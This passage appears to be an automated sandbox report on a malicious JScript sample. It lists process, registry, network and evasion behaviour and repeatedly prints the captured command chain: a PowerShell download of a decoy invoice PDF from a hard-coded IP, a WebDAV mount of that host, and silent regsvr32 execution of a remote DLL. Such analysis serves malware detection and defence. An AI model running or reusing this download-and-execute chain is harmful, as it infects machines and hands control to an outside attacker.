Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1638.js.csv");ITextStream.WriteLine(" entry:8376 f:kgvqm");ITextStream.WriteLine(" exec:2 f:kgvqm");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4100			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5728			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7472	Thread sleep count: 4100 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7472	Thread sleep count: 5728 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7556	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7580	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7756	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8024	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.2171363630.00000117BB9FF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182162664.00000117BB9FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW.
Source: net.exe, 00000007.00000002.2181956047.00000117BB998000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2171363630.00000117BB9FF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182162664.00000117BB9FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3368368812.000001FF41C56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3366624681.000001FF3C62B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
